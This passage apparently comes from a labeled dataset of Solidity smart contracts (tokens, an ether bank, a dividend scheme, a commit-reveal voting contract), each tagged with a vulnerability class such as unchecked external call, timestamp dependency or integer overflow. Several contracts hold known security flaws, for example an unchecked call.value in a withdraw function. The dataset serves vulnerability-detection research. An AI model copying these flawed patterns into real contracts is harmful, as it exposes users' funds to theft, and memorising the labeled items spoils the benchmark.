Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Thanhnv) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract ThanhnvToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals //uint _initialSupply, string _name, string _symbol, uint _decimals function ThanhnvToken() public { _totalSupply = 1000000; //_initialSupply; name = ""THANHNVTOKEN""; //_name; symbol = ""THUSDT""; //_symbol; decimals = 0; //_decimals; balances[owner] = _totalSupply;//_initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }",./Dataset/ether strict equality (SE),3,3 23792.sol,"pragma solidity ^0.4.19; contract SimpleEthBank { address public director; mapping (address => uint) accountBalances; mapping (address => bool) accountExists; event Deposit(address from, uint amount); event Withdrawal(address from, uint amount); event Transfer(address from, address to, uint amount); function SimpleEthBank() { director = msg.sender; } function() public payable { deposit(); } function getBalanceOf(address addr) public constant returns(int) { if (accountExists[addr]) return int(accountBalances[addr]); return -1; } function deposit() public payable { require(msg.value >= 0.5 ether); accountBalances[msg.sender] += msg.value; accountExists[msg.sender] = true; Deposit(msg.sender, msg.value); } function withdraw(uint amount) public { require(accountExists[msg.sender] && accountBalances[msg.sender] >= amount); accountBalances[msg.sender] -= amount; msg.sender.call.value(amount); Withdrawal(msg.sender, amount); } function transfer(address to, uint amount) public { require(accountExists[msg.sender] && accountExists[to] && accountBalances[msg.sender] >= amount); accountBalances[to] += amount; Transfer(msg.sender, to, amount); } function kill() public { require(msg.sender == director); selfdestruct(director); } }",./Dataset/unchecked external call (UC),7,7 401.sol,"pragma solidity ^0.4.20; contract EVOLUTION2 { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier onlyAdministrator(){ require(msg.sender == investor); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event OnRedistribution ( uint256 amount, uint256 timestamp ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = ""EVO2""; string public symbol = ""EVO2""; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 10; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; uint256 public stakingRequirement = 5e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) internal whitelisted_; bool internal whitelist_ = true; address public investor; constructor() public { investor = 0x8e97F9338460B0d33BD6452A558Ae43284805B5C; whitelisted_[0x8e97F9338460B0d33BD6452A558Ae43284805B5C] = true; } function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands() public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands() public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders() public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _investmentEth = SafeMath.div(_ethereum, 20); uint256 _taxedEthereum = SafeMath.sub(_ethereum, (_dividends+_investmentEth)); investor.transfer(_investmentEth); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if(myDividends(true) > 0) withdraw(); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function redistribution() external payable { uint256 ethereum = msg.value; profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_); emit OnRedistribution(ethereum, block.timestamp); } function setAdministrator(address _newInvestor) onlyAdministrator() external { investor = _newInvestor; } function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function disableWhitelist() external { require(whitelisted_[msg.sender] == true); whitelist_ = false; } function activateWhitelist() external { require(whitelisted_[msg.sender] == true); whitelist_ = true; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { if (whitelisted_[msg.sender] == false && whitelist_ == true) { revert(); } address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _investmentEth = SafeMath.div(_incomingEthereum, 20); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends+_investmentEth)); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; investor.transfer(_investmentEth); require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if(tokenSupply_ > 0){ tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }",./Dataset/timestamp dependency (TP)/,6,6 575.sol,"pragma solidity ^0.4.21; contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract ROB is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ROB() public { symbol = ""ROB""; name = ""NeoWorld Rare Ore B""; decimals = 18; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 9851.sol,"pragma solidity ^0.4.20; pragma solidity^0.4.11; library AttributeStore { struct Data { mapping(bytes32 => uint) store; } function getAttribute(Data storage self, bytes32 _UUID, string _attrName) public view returns (uint) { bytes32 key = keccak256(_UUID, _attrName); return self.store[key]; } function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal) public { bytes32 key = keccak256(_UUID, _attrName); self.store[key] = _attrVal; } } pragma solidity^0.4.11; library DLL { uint constant NULL_NODE_ID = 0; struct Node { uint next; uint prev; } struct Data { mapping(uint => Node) dll; } function isEmpty(Data storage self) public view returns (bool) { return getStart(self) == NULL_NODE_ID; } function contains(Data storage self, uint _curr) public view returns (bool) { if (isEmpty(self) || _curr == NULL_NODE_ID) { return false; } bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr); bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID); return isSingleNode || !isNullNode; } function getNext(Data storage self, uint _curr) public view returns (uint) { return self.dll[_curr].next; } function getPrev(Data storage self, uint _curr) public view returns (uint) { return self.dll[_curr].prev; } function getStart(Data storage self) public view returns (uint) { return getNext(self, NULL_NODE_ID); } function getEnd(Data storage self) public view returns (uint) { return getPrev(self, NULL_NODE_ID); } function insert(Data storage self, uint _prev, uint _curr, uint _next) public { require(_curr != NULL_NODE_ID); remove(self, _curr); require(_prev == NULL_NODE_ID || contains(self, _prev)); require(_next == NULL_NODE_ID || contains(self, _next)); require(getNext(self, _prev) == _next); require(getPrev(self, _next) == _prev); self.dll[_curr].prev = _prev; self.dll[_curr].next = _next; self.dll[_prev].next = _curr; self.dll[_next].prev = _curr; } function remove(Data storage self, uint _curr) public { if (!contains(self, _curr)) { return; } uint next = getNext(self, _curr); uint prev = getPrev(self, _curr); self.dll[next].prev = prev; self.dll[prev].next = next; delete self.dll[_curr]; } } pragma solidity ^0.4.8; contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PLCRVoting { event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter); event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter); event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator); event _VotingRightsGranted(uint numTokens, address indexed voter); event _VotingRightsWithdrawn(uint numTokens, address indexed voter); event _TokensRescued(uint indexed pollID, address indexed voter); using AttributeStore for AttributeStore.Data; using DLL for DLL.Data; using SafeMath for uint; struct Poll { uint commitEndDate; uint revealEndDate; uint voteQuorum; uint votesFor; uint votesAgainst; mapping(address => bool) didCommit; mapping(address => bool) didReveal; } uint constant public INITIAL_POLL_NONCE = 0; uint public pollNonce; mapping(uint => Poll) public pollMap; mapping(address => uint) public voteTokenBalance; mapping(address => DLL.Data) dllMap; AttributeStore.Data store; EIP20Interface public token; function init(address _token) public { require(_token != 0 && address(token) == 0); token = EIP20Interface(_token); pollNonce = INITIAL_POLL_NONCE; } function requestVotingRights(uint _numTokens) public { require(token.balanceOf(msg.sender) >= _numTokens); voteTokenBalance[msg.sender] += _numTokens; require(token.transferFrom(msg.sender, this, _numTokens)); emit _VotingRightsGranted(_numTokens, msg.sender); } function withdrawVotingRights(uint _numTokens) external { uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender)); require(availableTokens >= _numTokens); voteTokenBalance[msg.sender] -= _numTokens; require(token.transfer(msg.sender, _numTokens)); emit _VotingRightsWithdrawn(_numTokens, msg.sender); } function rescueTokens(uint _pollID) public { require(isExpired(pollMap[_pollID].revealEndDate)); require(dllMap[msg.sender].contains(_pollID)); dllMap[msg.sender].remove(_pollID); emit _TokensRescued(_pollID, msg.sender); } function rescueTokensInMultiplePolls(uint[] _pollIDs) public { for (uint i = 0; i < _pollIDs.length; i++) { rescueTokens(_pollIDs[i]); } } function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public { require(commitPeriodActive(_pollID)); if (voteTokenBalance[msg.sender] < _numTokens) { uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]); requestVotingRights(remainder); } require(voteTokenBalance[msg.sender] >= _numTokens); require(_pollID != 0); require(_secretHash != 0); require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID)); uint nextPollID = dllMap[msg.sender].getNext(_prevPollID); if (nextPollID == _pollID) { nextPollID = dllMap[msg.sender].getNext(_pollID); } require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens)); dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID); bytes32 UUID = attrUUID(msg.sender, _pollID); store.setAttribute(UUID, ""numTokens"", _numTokens); store.setAttribute(UUID, ""commitHash"", uint(_secretHash)); pollMap[_pollID].didCommit[msg.sender] = true; emit _VoteCommitted(_pollID, _numTokens, msg.sender); } function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external { require(_pollIDs.length == _secretHashes.length); require(_pollIDs.length == _numsTokens.length); require(_pollIDs.length == _prevPollIDs.length); for (uint i = 0; i < _pollIDs.length; i++) { commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]); } } function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) { bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID)); bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0); return prevValid && nextValid; } function revealVote(uint _pollID, uint _voteOption, uint _salt) public { require(revealPeriodActive(_pollID)); require(pollMap[_pollID].didCommit[msg.sender]); require(!pollMap[_pollID].didReveal[msg.sender]); require(keccak256(_voteOption, _salt) == getCommitHash(msg.sender, _pollID)); uint numTokens = getNumTokens(msg.sender, _pollID); if (_voteOption == 1) { pollMap[_pollID].votesFor += numTokens; } else { pollMap[_pollID].votesAgainst += numTokens; } dllMap[msg.sender].remove(_pollID); pollMap[_pollID].didReveal[msg.sender] = true; emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender); } function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external { require(_pollIDs.length == _voteOptions.length); require(_pollIDs.length == _salts.length); for (uint i = 0; i < _pollIDs.length; i++) { revealVote(_pollIDs[i], _voteOptions[i], _salts[i]); } } function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) { require(pollEnded(_pollID)); require(pollMap[_pollID].didReveal[_voter]); uint winningChoice = isPassed(_pollID) ? 1 : 0; bytes32 winnerHash = keccak256(winningChoice, _salt); bytes32 commitHash = getCommitHash(_voter, _pollID); require(winnerHash == commitHash); return getNumTokens(_voter, _pollID); } function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) { pollNonce = pollNonce + 1; uint commitEndDate = block.timestamp.add(_commitDuration); uint revealEndDate = commitEndDate.add(_revealDuration); pollMap[pollNonce] = Poll({ voteQuorum: _voteQuorum, commitEndDate: commitEndDate, revealEndDate: revealEndDate, votesFor: 0, votesAgainst: 0 }); emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender); return pollNonce; } function isPassed(uint _pollID) constant public returns (bool passed) { require(pollEnded(_pollID)); Poll memory poll = pollMap[_pollID]; return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst)); } function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) { require(pollEnded(_pollID)); if (isPassed(_pollID)) return pollMap[_pollID].votesFor; else return pollMap[_pollID].votesAgainst; } function pollEnded(uint _pollID) constant public returns (bool ended) { require(pollExists(_pollID)); return isExpired(pollMap[_pollID].revealEndDate); } function commitPeriodActive(uint _pollID) constant public returns (bool active) { require(pollExists(_pollID)); return !isExpired(pollMap[_pollID].commitEndDate); } function revealPeriodActive(uint _pollID) constant public returns (bool active) { require(pollExists(_pollID)); return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID); } function didCommit(address _voter, uint _pollID) constant public returns (bool committed) { require(pollExists(_pollID)); return pollMap[_pollID].didCommit[_voter]; } function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) { require(pollExists(_pollID)); return pollMap[_pollID].didReveal[_voter]; } function pollExists(uint _pollID) constant public returns (bool exists) { return (_pollID != 0 && _pollID <= pollNonce); } function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) { return bytes32(store.getAttribute(attrUUID(_voter, _pollID), ""commitHash"")); } function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) { return store.getAttribute(attrUUID(_voter, _pollID), ""numTokens""); } function getLastNode(address _voter) constant public returns (uint pollID) { return dllMap[_voter].getPrev(0); } function getLockedTokens(address _voter) constant public returns (uint numTokens) { return getNumTokens(_voter, getLastNode(_voter)); } function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID) constant public returns (uint prevNode) { uint nodeID = getLastNode(_voter); uint tokensInNode = getNumTokens(_voter, nodeID); while(nodeID != 0) { tokensInNode = getNumTokens(_voter, nodeID); if(tokensInNode <= _numTokens) { if(nodeID == _pollID) { nodeID = dllMap[_voter].getPrev(nodeID); } return nodeID; } nodeID = dllMap[_voter].getPrev(nodeID); } return nodeID; } function isExpired(uint _terminationDate) constant public returns (bool expired) { return (block.timestamp > _terminationDate); } function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) { return keccak256(_user, 